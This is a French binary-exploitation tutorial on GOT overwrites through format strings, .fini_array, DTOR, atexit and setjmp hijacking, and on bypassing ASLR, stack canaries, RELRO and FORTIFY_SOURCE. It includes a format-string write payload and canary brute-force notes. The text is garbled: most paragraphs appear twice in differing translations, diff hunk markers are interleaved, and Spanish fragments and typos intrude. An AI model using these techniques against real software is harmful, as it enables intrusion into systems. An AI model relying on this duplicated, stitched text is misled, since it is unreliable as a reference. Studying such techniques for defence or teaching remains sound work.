Dans un binaire, le GOT a les **adresses des fonctions ou** de la section **PLT** qui chargera l'adresse de la fonction. L'objectif de cette exploitation est de **remplacer l'entrée GOT** d'une fonction qui sera exécutée plus tard **avec** **l'adresse** de la PLT de la **fonction `system`**. Idéalement, vous **remplacerez** le **GOT** d'une **fonction** qui **sera appelée avec des paramètres contrôlés par vous** (ainsi vous pourrez contrôler les paramètres envoyés à la fonction system).
Dans un binaire, le GOT contient les **adresses des fonctions ou** de la section **PLT** qui chargera l'adresse de la fonction. L'objectif de cette exploitation est de **remplacer l'entrée GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** du PLT de la fonction **`system`**. Idéalement, vous **remplacerez** le **GOT** d'une **fonction** qui **sera appelée avec des paramètres contrôlés par vous** (vous pourrez donc contrôler les paramètres envoyés à la fonction système).
Si **`system`** **n'est pas utilisé** par le script, la fonction system **n'aura pas** d'entrée dans le GOT. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system`.
Si **`system`** **n'est pas utilisé** par le script, la fonction system **n'aura pas d'entrée** dans le GOT. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system`.
**Procedure Linkage Table** est une table **en lecture seule** dans le fichier ELF qui stocke tous les **symboles nécessitant une résolution**. Lorsqu'une de ces fonctions est appelée, le **GOT** **redirigera** le **flux** vers le **PLT** pour qu'il puisse **résoudre** **l'adresse** de la fonction et l'écrire dans le GOT.
Ensuite, la **prochaine fois** qu'un appel est effectué à cette adresse, la **fonction** est **appelée directement** sans avoir besoin de la résoudre.
La **Procedure Linkage Table** est une table **en lecture seule** dans le fichier ELF qui stocke tous les **symboles nécessitant une résolution**. Lorsqu'une de ces fonctions est appelée, le **GOT** **redirigera** le **flux** vers le **PLT** pour qu'il puisse **résoudre** l'**adresse** de la fonction et l'écrire dans le GOT. Ensuite, la **prochaine fois** qu'un appel est effectué à cette adresse, la **fonction** est **appelée directement** sans avoir besoin de la résoudre.
Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
### **Déroulement de l'Exploit**
### **Flux d'Exploitation**
Comme expliqué précédemment, l'objectif va être de **remplacer** **l'adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Idéalement, nous pourrions définir **l'adresse vers un shellcode** situé dans une section exécutable, mais il est très probable que vous ne pourrez pas écrire un shellcode dans une section exécutable.
Ainsi, une autre option est de **remplacer** une **fonction** qui **reçoit** ses **arguments** de **l'utilisateur** et de la **pointer** vers la **fonction `system`**.
Comme expliqué précédemment, l'objectif sera de **remplacer** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Idéalement, nous pourrions définir l'**adresse d'un shellcode** situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire de shellcode dans une section exécutable.\
Une option différente est donc de **remplacer** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et de la **pointer** vers la fonction **`system`**.
Pour écrire l'adresse, généralement 2 étapes sont effectuées : Vous **écrivez d'abord 2 octets** de l'adresse puis les 2 autres. Pour ce faire, **`$hn`** est utilisé.
Pour écrire l'adresse, généralement 2 étapes sont effectuées : Vous **écrivez d'abord 2 octets** de l'adresse, puis les 2 autres. Pour ce faire, on utilise **`$hn`**.
**HOB** fait référence aux 2 octets supérieurs de l'adresse\
**LOB** fait référence aux 2 octets inférieurs de l'adresse
**HOB** est appelé pour les 2 octets les plus élevés de l'adresse\
**LOB** est appelé pour les 2 octets les plus bas de l'adresse
Ainsi, en raison du fonctionnement des chaînes de format, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
Ainsi, en raison du fonctionnement de la chaîne de format, vous devez **écrire d'abord le plus petit** des \[HOB, LOB] puis l'autre.
Si HOB < LOB\
`[adresse+2][adresse]%.[HOB-8]x%[décalage]\$hn%.[LOB-HOB]x%[décalage+1]`
`[adresse+2][adresse]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\
`[adresse+2][adresse]%.[LOB-8]x%[décalage+1]\$hn%.[HOB-LOB]x%[décalage]`
`[adresse+2][adresse]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
### **Modèle d'Exploit de Chaîne de Format**
### **Modèle d'Exploitation de Chaîne de Format**
Vous pouvez trouver un **modèle** pour exploiter le GOT en utilisant des chaînes de format ici :
@ -424,9 +421,9 @@ Vous pouvez trouver un **modèle** pour exploiter le GOT en utilisant des chaîn
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
### **.fini_array**
### **.fini\_array**
Essentiellement, c'est une structure avec **des fonctions qui seront appelées** avant que le programme ne se termine. Cela est intéressant si vous pouvez appeler votre **shellcode en sautant simplement à une adresse**, ou dans les cas où vous devez revenir au main à nouveau pour **exploiter la chaîne de format une seconde fois**.
Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant que le programme ne se termine. C'est intéressant si vous pouvez appeler votre **shellcode en sautant à une adresse**, ou dans les cas où vous devez revenir à main pour **exploiter la chaîne de format une deuxième fois**.
```bash
objdump -s -j .fini_array ./greeting
@ -437,26 +434,26 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Notez que cela **ne créera pas** une **boucle éternelle** car lorsque vous revenez à la fonction principale, le canari remarquera que la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée à nouveau. Ainsi, avec cela, vous pourrez **avoir 1 exécution supplémentaire** de la vuln.
Notez que cela **ne** **créera pas** de **boucle infinie** car lorsque vous revenez à la fonction principale, le canari le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée. Ainsi, avec cela, vous pourrez **avoir 1 exécution supplémentaire** de la vulnérabilité.
### **Chaînes de format pour extraire le contenu**
### **Formatage des chaînes pour extraire du contenu**
Une chaîne de format peut également être détournée pour **extraire le contenu** de la mémoire du programme.\
Par exemple, dans la situation suivante, il y a une **variable locale dans la pile pointant vers un drapeau.** Si vous **trouvez** où dans la **mémoire** le **pointeur** vers le **drapeau** se trouve, vous pouvez faire en sorte que **printf accède** à cette **adresse** et **imprime** le **drapeau** :
Une chaîne de format peut également être exploitée pour **extraire du contenu** de la mémoire du programme.\
Par exemple, dans la situation suivante, il y a une **variable locale dans la pile pointant vers un drapeau**. Si vous **trouvez** où en **mémoire** se trouve le **pointeur** vers le **drapeau**, vous pouvez faire en sorte que **printf accède** à cette **adresse** et **affiche** le **drapeau** :
Donc, le drapeau se trouve en **0xffffcf4c**
Ainsi, le drapeau est à **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Et à partir de la fuite, vous pouvez voir que le **pointeur vers le drapeau** est dans le **8ème** paramètre :
Et à partir de la fuite, vous pouvez voir que le **pointeur vers le drapeau** est dans le **8e** paramètre :
![](<../../.gitbook/assets/image (623).png>)
Donc, en **accédant** au **8ème paramètre**, vous pouvez obtenir le drapeau :
Donc, en **accédant** au **8e paramètre**, vous pouvez obtenir le drapeau :
![](<../../.gitbook/assets/image (624).png>)
Notez qu'en suivant **l'exploit précédent** et en réalisant que vous pouvez **extraire le contenu**, vous pouvez **définir des pointeurs** vers **`printf`** vers la section où l'**exécutable** est **chargé** et **le vider** **entièrement** !
Notez qu'en suivant l'**exploit précédent** et en réalisant que vous pouvez **extraire du contenu**, vous pouvez **définir des pointeurs** vers **`printf`** dans la section où l'**exécutable** est **chargé** et le **dumper** **entièrement** !
### **DTOR**
@ -464,107 +461,107 @@ Notez qu'en suivant **l'exploit précédent** et en réalisant que vous pouvez *
De nos jours, il est très **rare de trouver un binaire avec une section dtor**.
{% endhint %}
Les destructeurs sont des fonctions qui sont **exécutées avant que le programme ne se termine**.\
Si vous parvenez à **écrire** une **adresse** vers un **shellcode** dans **`__DTOR_END__`**, cela sera **exécuté** avant que le programme ne se termine.\
Les destructeurs sont des fonctions qui sont **exécutées avant la fin du programme**.\
Si vous parvenez à **écrire** une **adresse** vers un **shellcode** dans **`__DTOR_END__`**, cela sera **exécuté** avant la fin des programmes.\
Obtenez l'adresse de cette section avec :
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Habituellement, vous trouverez la section **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez juste ces valeurs, cela signifie qu'il **n'y a aucune fonction enregistrée**. Donc, **écrasez** le **`00000000`** avec l'**adresse** vers le **shellcode** pour l'exécuter.
D'habitude, vous trouverez la section **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez juste ces valeurs, cela signifie qu'**aucune fonction n'est enregistrée**. Donc, **écrasez** le **`00000000`** avec l'**adresse** du **shellcode** pour l'exécuter.
### **Chaînes de formatage pour débordements de tampon**
### **Chaînes de format pour les débordements de tampon**
La fonction **sprintf déplace** une chaîne formatée **vers** une **variable**. Par conséquent, vous pourriez abuser du **formatage** d'une chaîne pour provoquer un **débordement de tampon dans la variable** où le contenu est copié.\
Par exemple, la charge utile `%.44xAAAA` va **écrire 44B+"AAAA" dans la variable**, ce qui peut causer un débordement de tampon.
La fonction **sprintf** déplace une chaîne formatée **vers** une **variable**. Par conséquent, vous pourriez abuser de la **mise en forme** d'une chaîne pour provoquer un **débordement de tampon dans la variable** où le contenu est copié.\
Par exemple, la charge utile `%.44xAAAA` écrira **44B+"AAAA" dans la variable**, ce qui peut provoquer un débordement de tampon.
### **Structures \_\_atexit**
{% hint style="danger" %}
De nos jours, il est très **rare d'exploiter cela**.
De nos jours, il est très **étrange d'exploiter cela**.
{% endhint %}
**`atexit()`** est une fonction à laquelle **d'autres fonctions sont passées en paramètres**. Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** de la **fonction principale**.\
Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour pointer vers un shellcode par exemple, vous prendrez le **contrôle** du **processus**, mais c'est actuellement plus compliqué.\
Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et finalement l'adresse à laquelle elles pointent n'est pas celle des fonctions, mais est **chiffrée avec XOR** et des déplacements avec une **clé aléatoire**. Donc actuellement ce vecteur d'attaque est **peu utile au moins sur x86** et **x64\_86**.\
La **fonction de chiffrement** est **`PTR_MANGLE`**. **D'autres architectures** telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas la fonction de chiffrement** car elle **renvoie la même chose** qu'elle a reçu en entrée. Donc ces architectures pourraient être attaquables par ce vecteur.
**`atexit()`** est une fonction à laquelle **d'autres fonctions sont passées en paramètres.** Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** du **main**.\
Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour pointer par exemple vers un shellcode, vous **prendrez le contrôle** du **processus**, mais c'est actuellement plus compliqué.\
Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et finalement l'adresse vers laquelle elles pointent n'est pas l'adresse des fonctions, mais est **cryptée avec XOR** et des décalages avec une **clé aléatoire**. Ainsi, actuellement, ce vecteur d'attaque n'est **pas très utile au moins sur x86** et **x64\_86**.\
La **fonction de cryptage** est **`PTR_MANGLE`**. D'autres architectures telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas la fonction de cryptage** car elle **renvoie la même chose** qu'elle a reçue en entrée. Ainsi, ces architectures pourraient être attaquées par ce vecteur.
### **setjmp() & longjmp()**
{% hint style="danger" %}
De nos jours, il est très **rare d'exploiter cela**.
De nos jours, il est très **étrange d'exploiter cela**.
{% endhint %}
**`Setjmp()`** permet de **sauvegarder** le **contexte** (les registres)\
**`longjmp()`** permet de **restaurer** le **contexte**.\
Les **registres sauvegardés** sont : `EBX, ESI, EDI, ESP, EIP, EBP`\
Ce qui se passe, c'est que EIP et ESP sont passés par la fonction **`PTR_MANGLE`**, donc les **architectures vulnérables à cette attaque sont les mêmes que ci-dessus**.\
Ce qui se passe est que EIP et ESP sont passés par la fonction **`PTR_MANGLE`**, donc les **architectures vulnérables à cette attaque sont les mêmes que ci-dessus**.\
Ils sont utiles pour la récupération d'erreurs ou les interruptions.\
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, **donc si il y a un `call ebx`, `call esi` ou `call edi`** à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier ESP.
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, **donc s'il y a un `call ebx`, `call esi` ou `call edi`** à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier ESP.
**VTable et VPTR en C++**
Chaque classe a une **Vtable** qui est un tableau de **pointeurs vers des méthodes**.
Chaque objet d'une **classe** a un **VPtr** qui est un **pointeur** vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si un **écrasement** du **VPtr** est réalisé, il pourrait être **modifié** pour **pointer** vers une méthode factice afin que l'exécution d'une fonction aille vers le shellcode.
Chaque objet d'une **classe** a un **VPtr** qui est un **pointeur** vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une **surchage** du **VPtr** est réalisée, elle pourrait être **modifiée** pour **pointer** vers une méthode factice de sorte que l'exécution d'une fonction aille vers le shellcode.
## **Mesures préventives et évasions**
**ASLR pas si aléatoire**
PaX divise l'espace d'adresse du processus en 3 groupes :
PaX divise l'espace d'adressage du processus en 3 groupes :
Code et données initialisées et non initialisées : .text, .data et .bss —> 16 bits d'entropie dans la variable delta\_exec, cette variable est initiée aléatoirement avec chaque processus et est ajoutée aux adresses initiales
Code et données initialisées et non initialisées : .text, .data et .bss —> 16 bits d'entropie dans la variable delta\_exec, cette variable est initialisée de manière aléatoire à chaque processus et est ajoutée aux adresses initiales
Mémoire allouée par mmap() et bibliothèques partagées —> 16 bits, delta\_mmap
La pile —> 24 bits, delta\_stack —> Réellement 11 (du 10ème au 20ème byte inclus) —> aligné à 16 bytes —> 524.288 adresses réelles possibles de la pile
La pile —> 24 bits, delta\_stack —> Réellement 11 (du 10ème au 20ème octet inclus) —> aligné sur 16 octets —> 524 288 adresses réelles possibles de la pile
Les variables d'environnement et les arguments se déplacent moins qu'un tampon dans la pile.
**Retour dans printf**
**Return-into-printf**
C'est une technique pour convertir un débordement de tampon en une erreur de chaîne de format. Elle consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer comme argument une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus.
C'est une technique pour transformer un débordement de tampon en une erreur de chaîne de format. Il consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer en argument une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus.
**Attaque sur les bibliothèques**
Les bibliothèques sont à une position avec 16 bits d'aléatoire = 65636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adresse mémoire est cloné dans le processus enfant et reste intact. Il est donc possible de tenter un brute force sur la fonction usleep() de libc en lui passant "16" comme argument de sorte que lorsqu'elle met plus de temps que d'habitude à répondre, cette fonction aura été trouvée. Sachant où se trouve cette fonction, on peut obtenir delta\_mmap et calculer les autres.
Les bibliothèques sont à une position avec 16 bits d'aléatoire = 65 636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adressage mémoire est cloné dans le processus enfant et reste intact. Ainsi, il est possible d'essayer de forcer la fonction usleep() de libc en lui passant l'argument "16" de sorte que si elle met plus de temps que d'habitude à répondre, la fonction est trouvée. En connaissant l'emplacement de cette fonction, il est possible d'obtenir delta\_mmap et de calculer les autres.
La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques par force brute là-bas.
La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques par force brute.
**StackGuard et StackShield**
**StackGuard** insère avant l'EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Toujours vulnérable à recv(), memcpy(), read(), bcopy() et ne protège pas l'EBP
**StackGuard** insère avant l'EIP —> 0x000aff0d(null, \n, FinDeFichier(EOF), \r) —> Restent vulnérables recv(), memcpy(), read(), bcopy() et ne protège pas l'EBP
**StackShield** est plus élaboré que StackGuard
Il stocke dans une table (Global Return Stack) toutes les adresses EIP de retour de sorte que le débordement ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour voir s'il y a eu un débordement.
Il enregistre dans une table (Global Return Stack) toutes les adresses EIP de retour afin que le débordement ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour voir s'il y a eu un débordement.
On peut également vérifier l'adresse de retour avec une valeur limite, donc si l'EIP va à un endroit différent de l'habitude comme l'espace de données, on le saura. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret.
Il est également possible de vérifier l'adresse de retour avec une valeur limite, ainsi si l'EIP va à un endroit différent du normal comme l'espace de données, on le saura. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret.
Comme on peut le voir, stackshield ne protège pas non plus les variables locales.
Comme on peut le voir, StackShield ne protège pas non plus les variables locales.
**Stack Smash Protector (ProPolice) -fstack-protector**
Le canari est placé avant l'EBP. Il réorganise les variables locales pour que les tampons soient dans les positions les plus hautes et ainsi ne puissent pas écraser d'autres variables.
Le canary est placé avant l'EBP. Il réorganise les variables locales pour que les tampons soient aux positions les plus élevées et ne puissent pas écraser d'autres variables.
De plus, il effectue une copie sécurisée des arguments passés au-dessus de la pile (au-dessus des variables locales) et utilise ces copies comme arguments.
Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons qui font partie d'une structure utilisateur.
Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons faisant partie d'une structure utilisateur.
Le canari est un nombre aléatoire tiré de "/dev/urandom" ou sinon est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui a des variables globales ou statiques de chaque thread. Cependant, en principe, celles-ci sont copiées du processus parent bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si on utilise fork() mais qu'on ne crée pas un nouveau canari, alors tous les processus (parent et enfants) utilisent le même canari. Sur i386, il est stocké dans gs:0x14 et sur x86\_64, il est stocké dans fs:0x28
Le canary est un nombre aléatoire extrait de "/dev/urandom" ou sinon c'est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui contient des variables globales ou statiques de chaque thread. Cependant, en principe, celles-ci sont copiées du processus parent bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si fork() est utilisé mais qu'aucun nouveau canary n'est créé, alors tous les processus (parent et enfants) utilisent le même canary. En i386, il est stocké dans gs:0x14 et en x86\_64, il est stocké dans fs:0x28
Cette protection localise les fonctions qui ont des tampons qui peuvent être attaqués et inclut dans ces fonctions du code au début pour placer le canari et du code à la fin pour le vérifier.
Cette protection identifie les fonctions ayant des tampons pouvant être attaqués et inclut au début de la fonction du code pour placer le canary et à la fin pour le vérifier.
La fonction fork() réalise une copie exacte du processus parent, c'est pourquoi si un serveur web appelle fork(), on peut réaliser une attaque par force brute byte par byte jusqu'à découvrir le canari utilisé.
La fonction fork() crée une copie exacte du processus parent, c'est pourquoi si un serveur web appelle fork(), une attaque par force brute byte par byte peut être réalisée pour découvrir le canary utilisé.
Si on utilise la fonction execve() après fork(), l'espace est réécrit et l'attaque n'est plus possible. vfork() permet d'exécuter le processus enfant sans créer de duplicata jusqu'à ce que le processus enfant tente d'écrire, alors il créait le duplicata.
Si la fonction execve() est utilisée après fork(), l'espace est écrasé et l'attaque n'est plus possible. vfork() permet d'exécuter le processus enfant sans créer de doublon jusqu'à ce que le processus enfant tente d'écrire, alors un doublon est créé.
**Relocation Read-Only (RELRO)**
### Relro
**Relro (Relocalisation en lecture seule)** affecte les permissions de mémoire de manière similaire à NX. La différence est que NX rend la pile exécutable, RELRO rend **certaines choses en lecture seule** donc nous **ne pouvons pas écrire** dessus. La façon la plus courante que j'ai vue cela être un obstacle est d'empêcher de faire une **surécriture de la table `got`**, qui sera abordée plus tard. La table `got` contient les adresses des fonctions libc afin que le binaire sache quelles sont les adresses et puisse les appeler. Voyons à quoi ressemblent les permissions de mémoire pour une entrée de la table `got` pour un binaire avec et sans relro.
**Relro (Read only Relocation)** affecte les autorisations de mémoire de manière similaire à NX. La différence est que tandis qu'avec NX, la pile est rendue exécutable, RELRO rend **certaines choses en lecture seule** afin que nous ne puissions pas y écrire. La manière la plus courante dont j'ai vu cela poser un obstacle est en nous empêchant de faire un **écrasement de table `got`**, qui sera abordé plus tard. La table `got` contient les adresses des fonctions libc pour que le binaire sache quelles sont les adresses et puisse les appeler. Voyons à quoi ressemblent les autorisations de mémoire pour une entrée de table `got` pour un binaire avec et sans relro.
Avec relro:
```bash
@ -632,75 +629,74 @@ gef➤ search-pattern 0x7ffff7e4d100
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Pour le binaire **sans relro**, nous pouvons voir que l'adresse de l'entrée `got` pour `fgets` est `0x404018`. En regardant les mappages de mémoire, nous voyons qu'elle se situe entre `0x404000` et `0x405000`, qui a les **permissions `rw`**, ce qui signifie que nous pouvons lire et écrire dessus. Pour le binaire **avec relro**, nous voyons que l'adresse de la table `got` pour l'exécution du binaire (pie est activé donc cette adresse changera) est `0x555555557fd0`. Dans le mappage de mémoire de ce binaire, elle se situe entre `0x0000555555557000` et `0x0000555555558000`, qui a la **permission de mémoire `r`**, ce qui signifie que nous pouvons seulement lire.
Pour le binaire **sans relro**, on peut voir que l'adresse d'entrée `got` pour `fgets` est `0x404018`. En regardant les mappings mémoire, on voit qu'elle se situe entre `0x404000` et `0x405000`, avec les **permissions `rw`**, ce qui signifie que l'on peut lire et écrire dedans. Pour le binaire **avec relro**, on voit que l'adresse de la table `got` pour l'exécution du binaire (pie est activé donc cette adresse changera) est `0x555555557fd0`. Dans le mapping mémoire de ce binaire, elle se situe entre `0x0000555555557000` et `0x0000555555558000`, avec la permission mémoire **`r`**, ce qui signifie que l'on peut seulement lire dedans.
Alors, quelle est la **contournement**? Le contournement typique que j'utilise est de simplement ne pas écrire dans les régions de mémoire que relro rend en lecture seule, et **trouver une autre manière d'obtenir l'exécution de code**.
Alors, quel est le **contournement** ? Le contournement typique que j'utilise est simplement de ne pas écrire dans les régions mémoire que relro rend en lecture seule, et de **trouver un autre moyen d'obtenir l'exécution du code**.
Notez que pour que cela se produise, le binaire doit connaître avant l'exécution les adresses des fonctions :
* Liaison paresseuse : L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, le GOT doit avoir des permissions d'écriture pendant l'exécution.
* Lier maintenant : Les adresses des fonctions sont résolues au début de l'exécution, puis des permissions en lecture seule sont données aux sections sensibles comme .got, .dtors, .ctors, .dynamic, .jcr. `` `**``-z relro`**`et`**`-z now\`\*\*
* Liaison paresseuse : L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, la GOT doit avoir des permissions d'écriture pendant l'exécution.
* Liaison immédiate : Les adresses des fonctions sont résolues au début de l'exécution, puis des permissions en lecture seule sont données aux sections sensibles comme .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
Pour vérifier si un programme utilise Lier maintenant, vous pouvez faire :
Pour vérifier si un programme utilise la liaison immédiate, vous pouvez faire :
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
```markdown
Lorsque le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, on saute à la PLT (Procedure Linkage Table), d'où un saut (jmp) est effectué vers la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Par conséquent, il invoque le Runtime Linker ou rtfd pour résoudre l'adresse et la sauvegarder dans la GOT.
Cuando le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, il saute à la PLT (Procedure Linkage Table), puis effectue un saut (jmp) vers la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Il invoque alors le Runtime Linker ou rtfd pour résoudre l'adresse et la stocker dans la GOT.
Lorsqu'une fonction est appelée, on appelle la PLT, qui a l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux là-bas et appelant la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et découvre l'adresse de la fonction, la sauvegarde dans la GOT et l'appelle.
Lorsqu'une fonction est appelée, la PLT est appelée, elle contient l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux là-bas pour appeler la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et découvre l'adresse de la fonction, la stocke dans la GOT et l'appelle.
Lors du chargement d'un binaire en mémoire, le compilateur a indiqué à quel décalage les données qui doivent être chargées lors de l'exécution du programme doivent être placées.
Lors du chargement d'un binaire en mémoire, le compilateur lui a indiqué à quel décalage il doit placer les données à charger lors de l'exécution du programme.
Lazy binding —> L'adresse de la fonction est recherchée la première fois que cette fonction est invoquée, donc la GOT a des permissions d'écriture pour que, lorsqu'elle est recherchée, elle soit sauvegardée là et qu'il ne soit pas nécessaire de la rechercher à nouveau.
Lazy binding —> L'adresse de la fonction est recherchée la première fois que cette fonction est appelée, donc la GOT a des autorisations d'écriture pour que lors de la recherche, elle soit stockée là et qu'il ne soit pas nécessaire de la rechercher à nouveau.
Bind now —> Les adresses des fonctions sont recherchées lors du chargement du programme et les permissions des sections .got, .dtors, .ctors, .dynamic, .jcr sont changées en lecture seule. **-z relro** et **-z now**
Bind now —> Les adresses des fonctions sont recherchées lors du chargement du programme et les autorisations des sections .got, .dtors, .ctors, .dynamic, .jcr sont changées en lecture seule. **-z relro** et **-z now**
Malgré cela, en général, les programmes ne sont pas compilés avec ces options, donc ces attaques restent possibles.
Malgré cela, en général, les programmes ne sont pas compliqués avec ces options, donc ces attaques restent possibles.
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> Pour savoir s'ils utilisent le BIND NOW
**Fortify Source -D_FORTIFY_SOURCE=1 ou =2**
Essaie d'identifier les fonctions qui copient d'un endroit à un autre de manière non sécurisée et de changer la fonction par une fonction sécurisée.
Essaie d'identifier les fonctions qui copient d'un endroit à un autre de manière non sécurisée et remplace la fonction par une fonction sécurisée.
Par exemple :\
char buf[16];\
char buf\[16];\
strcpy(but, source);
Il l'identifie comme non sécurisé et change alors strcpy() par __strcpy_chk() en utilisant la taille du tampon comme taille maximale à copier.
Il l'identifie comme non sécurisé, puis remplace strcpy() par \_\_strcpy\_chk() en utilisant la taille du tampon comme taille maximale à copier.
La différence entre **=1** ou **=2** est que :
La seconde ne permet pas que **%n** provienne d'une section avec des permissions d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents sont utilisés, c'est-à-dire, on ne peut utiliser **%3$d** que si **%2$d** et **%1$d** ont été utilisés auparavant.
Le deuxième ne permet pas que **%n** vienne d'une section avec des autorisations d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents sont utilisés, c'est-à-dire, on ne peut utiliser **%3$d** que si **%2$d** et **%1$d** ont été utilisés auparavant.
Pour afficher le message d'erreur, on utilise argv[0], donc si on met dans argv[0] l'adresse d'un autre endroit (comme une variable globale), le message d'erreur montrera le contenu de cette variable. Page 191
Pour afficher le message d'erreur, on utilise argv\[0\], donc si on y met l'adresse d'un autre endroit (comme une variable globale), le message d'erreur affichera le contenu de cette variable. Page 191
**Remplacement de Libsafe**
Il est activé avec : LD_PRELOAD=/lib/libsafe.so.2\
Il est activé avec : LD\_PRELOAD=/lib/libsafe.so.2\
ou\
"/lib/libsave.so.2" > /etc/ld.so.preload
“/lib/libsave.so.2” > /etc/ld.so.preload
Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas standardisé. (seulement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sécurisées et LD_PRELOAD ne fonctionne pas dans les binaires avec suid).
Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas standardisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sécurisées et LD\_PRELOAD ne fonctionne pas avec les binaires suid).
**ASCII Armored Address Space**
**Espace d'adressage ASCII blindé**
Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela n'arrête vraiment presque aucune attaque, et encore moins en little endian.
Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne stoppe pratiquement aucune attaque, surtout en little endian.
**ret2plt**
Consiste à effectuer un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction que l'on veut appeler (system()). Ensuite, on fait de même en pointant vers GOT+1 et on copie le 2ème octet de system()... À la fin, on appelle l'adresse sauvegardée dans GOT qui sera system()
